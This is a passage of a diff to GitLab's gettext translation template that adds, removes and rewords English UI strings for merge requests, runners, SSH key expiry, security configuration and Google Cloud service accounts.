msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
